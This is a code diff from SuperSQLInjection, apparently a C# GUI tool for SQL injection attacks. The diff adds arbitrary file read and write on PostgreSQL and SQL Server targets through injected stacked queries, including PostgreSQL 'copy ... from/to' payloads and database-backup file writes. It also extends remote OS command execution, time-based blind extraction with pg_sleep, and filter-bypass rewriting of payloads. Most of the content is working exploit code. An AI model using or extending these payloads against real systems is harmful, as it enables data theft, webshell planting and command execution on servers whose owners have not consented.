MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else + { + MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); + } + + } + else if (this.file_cbox_readWrite.SelectedIndex == 3) + { + //backup database写文件 + if (!String.IsNullOrEmpty(this.file_txt_result.Text)) + { + String payload = SQLServer.witeFileByBackDataBase.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); + //删库删表 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, SQLServer.dropWriteFileBackUpTableAndDropDB, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + //建库建表 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, SQLServer.createWriteFileBackUpDB, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, SQLServer.createWriteFileBackUpTable, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + //执行备份写 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + //删库删表 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, SQLServer.dropWriteFileBackUpTableAndDropDB, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + } + else + { + MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); + } + + } + else if (this.file_cbox_readWrite.SelectedIndex == 4) + { + //filesystemobject读文件 + String payload = SQLServer.readFileByFileSystemobject.Replace("{path}", path); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, SQLServer.dropTable, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); + switch (config.injectType) + { + case InjectType.Bool: + + //取每一列的值 + data_payload = SQLServer.file_content; + String payload_len = SQLServer.bool_dataLength.Replace("{data}", data_payload); + int len = 0; + if (config.keyType.Equals(KeyType.Time)) + { + len = getValue(SQLServer.getBoolDataBySleep(payload_len, config.maxTime), 0, 1024 * 100); + } + else + { + len = getValue(payload_len, 0, 1024 * 100); + } + + ver_tmp = new String[len]; + this.dataCount = len; + this.Invoke(new showLogDelegate(log), "读到文件内容,长度为" + len + "字节!", LogLevel.info); + //获取值 + for (int i = 1; i <= len; i++) + { + stp.QueueWorkItem(getFileContentBoolBySQLServer, i); + this.currentDataCount = i; + } + stp.WaitForIdle(); + break; + + case InjectType.Union: + String unionresult = getOneDataByUnionOrError(SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, SQLServer.file_content)); + this.Invoke(new StringDelegate(file_txt_resultSetText), unionresult); + this.Invoke(new showLogDelegate(log), "获取到读取的文件内容,长度为" + unionresult.Length + "字节!", LogLevel.info); + break; + case InjectType.Error: + + String errorresult = getOneDataByUnionOrError(SQLServer.error_value.Replace("{data}", SQLServer.file_content)); + this.Invoke(new StringDelegate(file_txt_resultSetText), errorresult); + this.Invoke(new showLogDelegate(log), "获取到读取的文件内容,长度为" + errorresult.Length + "字节!", LogLevel.info); + break; + } } - else + break; + + case DBType.PostgreSQL: + if (this.file_cbox_readWrite.SelectedIndex == 1) { - MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); - } - } - else - { - - MessageBox.Show("大侠此种方式写文件,只支持Union注入!"); - } - } - else if (this.file_cbox_readWrite.SelectedIndex == 2) - { - //filesystemobject写文件 - String payload = SQLServer.witeFileByFileSystemObject.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); - HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); - } - else if (this.file_cbox_readWrite.SelectedIndex == 3) - { - //sp_makewebtask写文件 - String payload = SQLServer.witeFileBySP_MakeWebTask.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); - HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); - } - else if (this.file_cbox_readWrite.SelectedIndex == 4) - { - //backup database写文件 - String payload = SQLServer.witeFileByBackDataBase.Replace("{path}", Tools.strToHex(path, "GB2312")).Replace("{data}", Tools.strToHex(this.file_txt_result.Text, "GB2312")); - HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); - } - else if (this.file_cbox_readWrite.SelectedIndex == 5) - { - //filesystemobject读文件 - String payload = SQLServer.readFileByFileSystemobject.Replace("{path}", path); - HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - switch (config.injectType) - { - case InjectType.Bool: - - //取每一列的值 - data_payload = SQLServer.file_content; - String payload_len = SQLServer.bool_dataLength.Replace("{data}", data_payload); - int len = 0; - if (config.keyType.Equals(KeyType.Time)) + //写文件 + if (!String.IsNullOrEmpty(this.file_txt_result.Text)) { - len = getValue(SQLServer.getBoolDataBySleep(payload_len, config.maxTime), 0, 1024 * 100); - } - else { - len = getValue(payload_len, 0, 1024 * 100); - } - ver_tmp = new String[len]; - this.dataCount = len; - this.Invoke(new showLogDelegate(log), "SQLServer读到文件内容,长度为" + len + "字节!", LogLevel.info); - //获取值 - for (int i = 1; i <= len; i++) - { - stp.QueueWorkItem(getFileContentBySQLServer, i); - this.currentDataCount = i; + String[] lines = this.file_txt_result.Lines; + //创建表 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, PostgreSQL.createTable, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + + foreach (String line in lines) { + //插入每一行数据 + if (!String.IsNullOrEmpty(line)) { + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, PostgreSQL.getInsertLineValue(line), config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + } + String payload = PostgreSQL.createTable; + } + + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, PostgreSQL.getWriteFilePayload(path), config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + MessageBox.Show("大侠,写文件操作小的我已经完成了额,剩下的就请大侠人工检查写文件是否成功!"); } - stp.WaitForIdle(); - break; + else + { + MessageBox.Show("请在下面输入您要写入文件的内容,请注意,GET方式的注入提交数据不能超过1024个字节!"); + } + + } + else if (this.file_cbox_readWrite.SelectedIndex == 2) + { + //读文件 - case InjectType.Union: + String payload = PostgreSQL.getReadFilePayload(path); + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + switch (config.injectType) + { + case InjectType.Bool: - String unionresult = getOneDataByUnionOrError(SQLServer.getUnionDataValue(config.columnsCount, config.showColumn, config.unionFill, SQLServer.file_content)); - this.Invoke(new StringDelegate(file_txt_resultSetText), unionresult); - this.Invoke(new showLogDelegate(log), "获取到SQLServer读取的文件内容,长度为" + unionresult.Length + "字节!", LogLevel.info); - break; - case InjectType.Error: + try { + String count_payload = PostgreSQL.bool_data.Replace("{data}", PostgreSQL.file_content_Count); + int count = 0; + if (KeyType.Time.Equals(config.keyType)) + { + count = getValueByStepUp(PostgreSQL.getBoolDataBySleep(PostgreSQL.file_content_Count, config.maxTime), 0, 50); + } + else + { + count = getValueByStepUp(count_payload, 0, 50); + } - String errorresult = getOneDataByUnionOrError(SQLServer.error_value.Replace("{data}", SQLServer.file_content)); - this.Invoke(new StringDelegate(file_txt_resultSetText), errorresult); - this.Invoke(new showLogDelegate(log), "获取到SQLServer读取的文件内容,长度为" + errorresult.Length + "字节!", LogLevel.info); - break; - } + for (int i = 0; i < count; i++) + { + data_payload = PostgreSQL.file_content_data.Replace("{index}", i + ""); + + String payload_len_data = PostgreSQL.char_length.Replace("{data}", data_payload); + String payload_len = PostgreSQL.bool_data.Replace("{data}", payload_len_data); + int len = 0; + if (KeyType.Time.Equals(config.keyType)) + { + len = getValueByStepUp(PostgreSQL.getBoolDataBySleep(payload_len_data, config.maxTime), 0, 100); + } + else + { + len = getValueByStepUp(payload_len, 0, 100); + } + this.dataCount = len; + ver_tmp = new String[len]; + //获取值 + for (int j = 1; j <= len; j++) + { + String dtmp_payload = PostgreSQL.bool_value.Replace("{data}", data_payload).Replace("{index}", j + ""); + stp.QueueWorkItem(getFileContentBoolByPostgreSQL, dtmp_payload + "#" + j); + stp.WaitFor(100); + + } + stp.WaitForIdle(); + this.dataCount = len; + this.file_txt_result.AppendText(HttpUtility.HtmlDecode(Tools.StringArrayToString(ver_tmp)) + "\r\n"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到文件第" + i+1 + "行数据!", LogLevel.info); + } + this.Invoke(new showLogDelegate(log), "报告大侠,读取文件内容完成!", LogLevel.info); + }catch (Exception e) + { + this.Invoke(new showLogDelegate(log), "读取文件内容发生异常:" + e.Message, LogLevel.error); + } + break; + + case InjectType.Error: + + String lineCount = getOneDataByUnionOrError(PostgreSQL.error_value.Replace("{data}", PostgreSQL.file_content_Count)); + this.dataCount = Tools.convertToInt(lineCount); + this.Invoke(new showLogDelegate(log), "报告大侠,读到文件内容,共有" + Tools.convertToInt(lineCount) + "行数据!", LogLevel.success); + //注意下标从1开始 + ver_tmp = new String[this.dataCount]; + for (int i = 0; i < this.dataCount; i++) + { + + //按照一行的一列一列开始获取 + stp.QueueWorkItem(getFileContentErrorByPostgreSQL, i); + stp.WaitFor(100); + } + stp.WaitForIdle(); + String result = Tools.convertToString(ver_tmp,true); + this.Invoke(new StringDelegate(file_txt_resultSetText), result); + this.Invoke(new showLogDelegate(log), "获取到读取的文件内容,长度为" + result.Length + "字节!", LogLevel.info); + break; + case InjectType.Union: + String elineCount = getOneDataByUnionOrError(PostgreSQL.getUnionDataValue(config.columnsCount,config.showColumn, PostgreSQL.file_content_Count,"","","")); + this.dataCount = Tools.convertToInt(elineCount); + this.Invoke(new showLogDelegate(log), "报告大侠,读到文件内容,共有" + Tools.convertToInt(elineCount) + "行数据!", LogLevel.success); + //注意下标从1开始 + ver_tmp = new String[this.dataCount]; + for (int i = 0; i < this.dataCount; i++) + { + + //按照一行的一列一列开始获取 + stp.QueueWorkItem(getFileContentUnionByPostgreSQL, i); + stp.WaitFor(100); + } + stp.WaitForIdle(); + String eresult = Tools.convertToString(ver_tmp,true); + this.Invoke(new StringDelegate(file_txt_resultSetText), eresult); + this.Invoke(new showLogDelegate(log), "获取到读取的文件内容,长度为" + eresult.Length + "字节!", LogLevel.info); + break; + + } + //删除临时表 + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, PostgreSQL.drop_table, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); + this.Invoke(new showLogDelegate(log), "删除临时表,完成!", LogLevel.info); + + } + + break; } - this.file_btn_start.Text = "开始"; + + this.file_btn_start.Enabled = true; status = 0; } - - public void getFileContentBySQLServer(Object index) + /// + /// SQLServer获取文件数据 + /// + /// + public void getFileContentBoolBySQLServer(Object index) { try { @@ -6776,6 +6996,120 @@ namespace SuperSQLInjection } } + /// + /// PostgreSQL获取文件数据 + /// + /// + public void getFileContentBoolByPostgreSQL(Object param) + { + try + { + String[] ps = param.ToString().Split('#'); + int index = int.Parse(ps[1].ToString()); + String tmp_va_payload = ps[0]; + //取unicode转换后的长度 + String unicode_data_len_payload = PostgreSQL.bool_length.Replace("{data}", tmp_va_payload); ; + int unicode_data_len = 0; + if (config.keyType.Equals(KeyType.Time)) + { + unicode_data_len = getValue(PostgreSQL.getBoolDataBySleep(unicode_data_len_payload, config.maxTime), 1, 8); + } + else + { + unicode_data_len = getValue(PostgreSQL.bool_data.Replace("{data}", unicode_data_len_payload), 1, 8); + } + + //长度范围2-8支持大部分语言 + + int m_index = 1; + StringBuilder unicodes = new StringBuilder(); + + String value = ""; + + while (m_index <= unicode_data_len) + { + //获取多字节 + String substr_payload = PostgreSQL.bool_value.Replace("{data}", tmp_va_payload).Replace("{index}", m_index.ToString()); + //单个unicode值范围是0-9 + int unicode = 0; + if (config.keyType.Equals(KeyType.Time)) + { + unicode = getValue(PostgreSQL.getBoolDataBySleep(substr_payload, config.maxTime), 48, 57); + } + else + { + unicode = getValue(PostgreSQL.bool_data.Replace("{data}",substr_payload), 48, 57); + } + char ascii = (char)unicode; + unicodes.Append(ascii); + m_index++; + + } + int eunicode = Tools.convertToInt(unicodes.ToString()); + if (eunicode <= 255) + { + value += (char)eunicode; + } + else + { + value += Tools.unHexByUnicode(eunicode, config.readFileEncoding); + } + ver_tmp[int.Parse(index.ToString()) - 1] = value; + m_index++; + + } + catch (Exception e) + { + + Tools.SysLog("获取读到的文件内容发生错误!" + e.Message); + } + } + + + /// + /// 获取数据PostgreSQL,error方式,这个长度有一定限制 + /// + /// 参数第几行,0开始 + public void getFileContentErrorByPostgreSQL(int index) + { + try + { + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrError(PostgreSQL.error_value.Replace("{data}", PostgreSQL.file_content_data.Replace("{index}",index+""))); + result = HttpUtility.HtmlDecode(result); + ver_tmp[index] = result; + this.Invoke(new showLogDelegate(log), "读取到文件第"+index+"行内容,长度"+ result.Length+ "!", LogLevel.info); + + } + catch (Exception e) + { + + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + } + + /// + /// 获取数据PostgreSQL,error方式,这个长度有一定限制 + /// + /// 参数第几行,0开始 + public void getFileContentUnionByPostgreSQL(int index) + { + try + { + ListViewItem lvi = new ListViewItem(); + String result = getOneDataByUnionOrError(PostgreSQL.getUnionDataValue(config.columnsCount,config.showColumn, PostgreSQL.file_content_data,"","",index+"")); + result = HttpUtility.HtmlDecode(result); + ver_tmp[index] = result; + this.Invoke(new showLogDelegate(log), "读取到文件第" + index + "行内容,长度" + result.Length + "!", LogLevel.info); + + } + catch (Exception e) + { + + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message, LogLevel.error); + } + } + public void readOrWriteFileByMySQLByHexAscii(Object param) { String[] ps = param.ToString().Split('#'); @@ -6799,6 +7133,7 @@ namespace SuperSQLInjection Interlocked.Increment(ref this.currentDataCount); } + public void execCMDBySQLServerByUnicode(Object param) { @@ -6814,7 +7149,7 @@ namespace SuperSQLInjection { len = getValue(SQLServer.bool_length.Replace("{data}", ps[0]), 0, 8); } - + int cindex = 1; String temUnicode = ""; @@ -6831,7 +7166,7 @@ namespace SuperSQLInjection { ascii = getValue(tmp_payload, 0, 9); } - + temUnicode += ascii.ToString(); cindex++; } @@ -6854,7 +7189,7 @@ namespace SuperSQLInjection String cmd = this.cmd_txt_cmd.Text; String cmd_16 = Tools.strToHex(cmd, "GB2312"); //执行cmd - String cmd_data_payload = SQLServer.createTable.Replace("{cmd}", cmd_16); + String cmd_data_payload = SQLServer.createTableAndExecCmd.Replace("{cmd}", cmd_16); //修正payload int ssindex = config.request.IndexOf(""); int seindex = config.request.IndexOf(""); @@ -6865,7 +7200,7 @@ namespace SuperSQLInjection } //修正payload //String cmdrequest = Regex.Replace(config.request, "\\(.*?)\\<\\/Encode\\>", "#inject#"); - + HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, SQLServer.dropTable, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, cmd_data_payload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); this.Invoke(new showLogDelegate(log), "报告大侠,CMD命令执行完成,正在等待获取执行结果!", LogLevel.info); if (config.showCmdResult) @@ -6909,7 +7244,7 @@ namespace SuperSQLInjection //获取值 for (int j = 1; j <= len; j++) { - String dtmp_payload = SQLServer.unicode_value.Replace("{data}", data_payload).Replace("{index}", j + ""); + String dtmp_payload = PostgreSQL.bool_value.Replace("{data}", data_payload).Replace("{index}", j + ""); stp.QueueWorkItem(execCMDBySQLServerByUnicode, dtmp_payload + "#" + j); stp.WaitFor(100); @@ -7002,7 +7337,7 @@ namespace SuperSQLInjection this.Invoke(new showLogDelegate(log), "执行命令获取结果发生异常:" + e.Message, LogLevel.error); } - this.cmd_btn_start.Text = "开始"; + this.cmd_btn_start.Enabled =true; status = 0; } @@ -7011,7 +7346,7 @@ namespace SuperSQLInjection { if (status == 0) { - if (config.dbType.Equals(DBType.MySQL) || config.dbType.Equals(DBType.SQLServer)) + if (this.file_cbox_readWrite.SelectedIndex>0) { if (String.IsNullOrEmpty(this.file_txt_filePath.Text)) { @@ -7033,20 +7368,20 @@ namespace SuperSQLInjection return; } status = 1; - this.file_btn_start.Text = "停止"; + this.file_btn_start.Enabled = false; this.currentThread = new Thread(readOrWriteFile); this.currentThread.Start(); } else { - MessageBox.Show("抱歉,文件读写目前只支持MySQL和SQLServer,并且账户拥有文件读写权限!"); + MessageBox.Show("抱歉,没有选择读写文件方式或此数据库不支持文件读写!"); } } else { StopThread(); - this.file_btn_start.Text = "开始"; + this.file_btn_start.Enabled = true; } } @@ -7070,7 +7405,7 @@ namespace SuperSQLInjection } status = 1; - this.cmd_btn_start.Text = "结束"; + this.cmd_btn_start.Enabled = false; this.cmd_txt_result.Clear(); this.currentThread = new Thread(execCMDBySQLServer); this.currentThread.Start(); @@ -7083,7 +7418,6 @@ namespace SuperSQLInjection else { StopThread(); - this.cmd_btn_start.Text = "开始"; } } @@ -7278,6 +7612,12 @@ namespace SuperSQLInjection case 5: md5(); break; + case 6: + this.encode_txt_result.Text = Tools.strToChrOrChar(encode,"chr"," ", "UTF-8"); + break; + case 7: + this.encode_txt_result.Text = Tools.strToChrOrChar(encode, "char", " ", "UTF-8"); + break; } } @@ -7335,6 +7675,12 @@ namespace SuperSQLInjection log("---------------正在查找www.pmd5.com------------------", LogLevel.info); this.encode_txt_result.Text += "www.pmd5.cm查询结果:" + OnlineMD5.decodeMD5_pmd5_com(this.encode_txt_input.Text); break; + case 6: + this.encode_txt_result.Text = Tools.chrOrCharToStr(decode,"chr", "UTF-8"); + break; + case 7: + this.encode_txt_result.Text = Tools.chrOrCharToStr(decode, "char", "UTF-8"); + break; } } @@ -7348,6 +7694,8 @@ namespace SuperSQLInjection { //判断关键字,body中的词 + //记录trueServer状态码,后面判断,降低误报 + config.injectHTTPCode = trueServer.code; String key = Tools.findKeyByStr(trueServer.body, falseServer.body, oldServer.body); this.chk_inject_reverseKey.Checked = false; //如果为空反过来查找 @@ -8624,5 +8972,25 @@ namespace SuperSQLInjection } } } + + private void cmd_btn_stop_Click(object sender, EventArgs e) + { + if (status != 0) + { + StopThread(); + this.cmd_btn_start.Enabled = true; + } + } + + private void file_btn_stop_Click(object sender, EventArgs e) + { + if (status != 0) + { + + StopThread(); + this.file_btn_start.Enabled = true; + } + + } } } \ No newline at end of file diff --git a/SuperSQLInjection/Main.resx b/SuperSQLInjection/Main.resx index 1206338..793cc49 100644 --- a/SuperSQLInjection/Main.resx +++ b/SuperSQLInjection/Main.resx @@ -186,7 +186,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACq - DQAAAk1TRnQBSQFMAgEBBwEAARgBBwEYAQcBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + DQAAAk1TRnQBSQFMAgEBBwEAASgBBwEoAQcBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAASADAAEBAQABCAYAAQgYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -291,7 +291,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAC - EwAAAk1TRnQBSQFMAgEBCgEAAZgBBwGYAQcBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCgEAAagBBwGoAQcBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA diff --git a/SuperSQLInjection/Properties/AssemblyInfo.cs b/SuperSQLInjection/Properties/AssemblyInfo.cs index d94d3cc..6d1a8a9 100644 --- a/SuperSQLInjection/Properties/AssemblyInfo.cs +++ b/SuperSQLInjection/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ using System.Runtime.InteropServices; // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, // 方法是按如下所示使用“*”: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.2018.12.13")] -[assembly: AssemblyFileVersion("1.2018.12.13")] +[assembly: AssemblyVersion("1.2018.12.21")] +[assembly: AssemblyFileVersion("1.2018.12.21")] diff --git a/SuperSQLInjection/SuperSQLInjection.csproj b/SuperSQLInjection/SuperSQLInjection.csproj index f08142d..c0dbd1d 100644 --- a/SuperSQLInjection/SuperSQLInjection.csproj +++ b/SuperSQLInjection/SuperSQLInjection.csproj @@ -138,6 +138,7 @@ + diff --git a/SuperSQLInjection/bypass/StringReplace.cs b/SuperSQLInjection/bypass/StringReplace.cs index 36bf1c2..a9b10ec 100644 --- a/SuperSQLInjection/bypass/StringReplace.cs +++ b/SuperSQLInjection/bypass/StringReplace.cs @@ -217,9 +217,10 @@ namespace SuperSQLInjection.bypass String newpayload = ""; if (config.useBetweenByPass) { - Match m = Regex.Match(paylaod, @"(?[\>\<\=]+)(?\d+)"); + //只能匹配数字1-9,如果是0,可能会替换16进制,导致语句出错 + Match m = Regex.Match(paylaod, @"(?[\>\<\=]+)(?[1-9]+)"); String str = m.Groups["str"].Value; - + String replaceReg = @"[\>\=]+[1-9]+"; if (String.IsNullOrEmpty(m.Groups["len"].Value)) { return paylaod; @@ -227,25 +228,25 @@ namespace SuperSQLInjection.bypass int len = Tools.convertToInt(m.Groups["len"].Value); if (str.Equals(">=")) { - newpayload = Regex.Replace(paylaod, @"[\>\=]+\d+", " not between 0 and " + (len - 1)); + newpayload = Regex.Replace(paylaod, replaceReg, " not between 0 and " + (len - 1)); } else if (str.Equals(">")) { - newpayload = Regex.Replace(paylaod, @"[\>\=]+\d+", " not between 0 and " + len); + newpayload = Regex.Replace(paylaod, replaceReg, " not between 0 and " + len); } else if (str.Equals("=")) { - newpayload = Regex.Replace(paylaod, @"[\>\=]+\d+", " between " + len + " and " + len); + newpayload = Regex.Replace(paylaod, replaceReg, " between " + len + " and " + len); } else if (str.Equals("<=")) { - newpayload = Regex.Replace(paylaod, @"[\<\=]+\d+", " between 0 and " + len); + newpayload = Regex.Replace(paylaod, replaceReg, " between 0 and " + len); } else if (str.Equals("<")) { - newpayload = Regex.Replace(paylaod, @"[\<=]+\d+", " between 0 and " + (len - 1)); + newpayload = Regex.Replace(paylaod, replaceReg, " between 0 and " + (len - 1)); } } else { diff --git a/SuperSQLInjection/model/Config.cs b/SuperSQLInjection/model/Config.cs index 40e7073..9ac13b3 100644 --- a/SuperSQLInjection/model/Config.cs +++ b/SuperSQLInjection/model/Config.cs @@ -28,6 +28,7 @@ namespace SuperSQLInjection.model public String request = ""; public String sencondRequest = ""; public String key = ""; + public int injectHTTPCode = 0;//注入逻辑为真的时候页面的状态码 public String db_encoding = ""; public Boolean useCode = false; public int columnsCount = 0; diff --git a/SuperSQLInjection/payload/DBPayload.cs b/SuperSQLInjection/payload/DBPayload.cs new file mode 100644 index 0000000..e33f633 --- /dev/null +++ b/SuperSQLInjection/payload/DBPayload.cs @@ -0,0 +1,12 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace SuperSQLInjection.payload +{ + class DBPayload + { + + } +} diff --git a/SuperSQLInjection/payload/MySQL.cs b/SuperSQLInjection/payload/MySQL.cs index f1f451d..34699ed 100644 --- a/SuperSQLInjection/payload/MySQL.cs +++ b/SuperSQLInjection/payload/MySQL.cs @@ -28,8 +28,6 @@ namespace SuperSQLInjection.payload //获取列名称 public static String column_value = "(select column_name from information_schema.columns where table_schema='{dbname}' and table_name='{table}' limit {index},1)"; - - public static String bool_length = "char_length({data})"; public static String bool_value = "ascii(mid({data},{index},1))"; public static String mid_value = "(mid({data},{index},1))"; @@ -370,6 +368,16 @@ namespace SuperSQLInjection.payload String data = data_value_orderBy.Replace("{columns}", column).Replace("{orderby}", orderBy).Replace("{dbname}", dbName).Replace("{table}", table).Replace("{index}", index + ""); return data; } + /// + /// 反射条调用,加载显示支持的文件操作 + /// + /// + public static List getShowCanDoFile() { + List list = new List(); + list.Add("MySQL Load_File读文件"); + list.Add("MySQL Union写文件"); + return list; + } diff --git a/SuperSQLInjection/payload/PostgreSQL.cs b/SuperSQLInjection/payload/PostgreSQL.cs index ec53d05..49763d8 100644 --- a/SuperSQLInjection/payload/PostgreSQL.cs +++ b/SuperSQLInjection/payload/PostgreSQL.cs @@ -11,7 +11,7 @@ namespace SuperSQLInjection.payload public static String path = "config/vers/postgresql.txt"; public static List vers = FileTool.readFileToList(path); - public static String char_length = "(select char_length({data}))"; + public static String char_length = "(char_length({data}))"; //数据库数量 public static String dbs_count = "(select count(distinct(schemaname)) from pg_tables)"; @@ -34,6 +34,8 @@ namespace SuperSQLInjection.payload public static String bool_value = "ascii(substring(cast({data} as text),{index},1))"; + public static String bool_data = " {data}>{len}"; + public static String substr_one_value = "(substring(cast({data} as text),{index},1))"; //获取数据库数量bool方式 @@ -55,6 +57,9 @@ namespace SuperSQLInjection.payload //bool方式获取值 public static String ver_value = " "+ bool_value + ">{len}"; + //bool方式获取值 + public static String char_length_val = " " + char_length + ">{len}"; + //bool方式获取值 public static String bool_ord_value = " " + substr_one_value + ">{len}"; @@ -80,6 +85,24 @@ namespace SuperSQLInjection.payload public static String substr_value = "(select substr({data},{start},{len}))"; + public static String readFile = " 1=1;drop table if exists ssqlinjection;create table ssqlinjection(data text);copy ssqlinjection from '{path}';--"; + + public static String createTable = " 1=1;drop table if exists ssqlinjection;create table ssqlinjection (data text);--"; + + public static String insertLineValue = " 1=1;insert into ssqlinjection(data) values ('{content}');--"; + + public static String writeFile = " 1=1;copy ssqlinjection(data) to '{path}';--"; + + + public static String drop_table = " 1=1;drop table if exists ssqlinjection;--"; + + + public static String file_content = "(select data from ssqlinjection)"; + public static String file_content_Count = "(select count(1) from ssqlinjection)"; + public static String file_content_data = "(select data from ssqlinjection offset {index} limit 1)"; + + + public static String getBoolDataBySleep(String data,int maxTime) { return " 1=(case when ((" + data + ")>{len}) then (select 1 from pg_sleep(" + maxTime + ")) else 1 end)"; @@ -90,6 +113,8 @@ namespace SuperSQLInjection.payload return " 1=(case when ((" + data + ")) then (select 1 from pg_sleep(" + maxTime + ")) else 1 end)"; } + + /// /// @@ -108,46 +133,17 @@ namespace SuperSQLInjection.payload return error_value.Replace("{data}", d); } - - - public static String creatMySQLReadFileByUnion(int columnsLen, int showIndex,String fill,String data) + public static String getReadFilePayload(String path) { - StringBuilder sb = new StringBuilder(); - for (int i = 1; i <= columnsLen; i++) - { - - if (i == showIndex) - { - sb.Append(concatMySQLColumn(data) + ","); - } - else - { - - sb.Append(fill+","); - } - } - return sb.Remove(sb.Length - 1, 1).ToString(); + return readFile.Replace("{path}", path); } - - public static String creatMySQLWriteFileByUnion(int columnsLen, int dataIndex,String fill, String path,String content) 